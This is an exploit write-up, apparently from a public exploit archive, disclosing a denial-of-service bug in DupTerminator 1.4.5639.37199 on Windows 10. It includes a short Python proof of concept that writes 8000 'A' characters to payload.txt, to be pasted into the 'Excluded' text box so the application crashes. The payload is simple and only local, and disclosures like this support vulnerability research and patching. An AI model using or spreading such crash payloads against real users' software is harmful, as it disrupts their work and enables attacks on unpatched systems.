# Exploit Title: DupTerminator 1.4.5639.37199 - Denial of Service (PoC) # Date: 2021-05-28 # Author: Brian Rodríguez # Software Site: https://sourceforge.net/projects/dupterminator/ # Version: 1.4.5639.37199 # Category: DoS (Windows) ##### Vulnerability ##### DupTerminator is vulnerable to a DoS condition when a long list of characters is being used in field "Excluded" text box. Successful exploitation will causes application stop working. I have been able to test this exploit against Windows 10. ##### PoC ##### #!/usr/bin/env python buffer = "\x41" * 8000 try: f = open("payload.txt","w") f.write(buffer) f.close() print ("File created") except: print ("File cannot be created")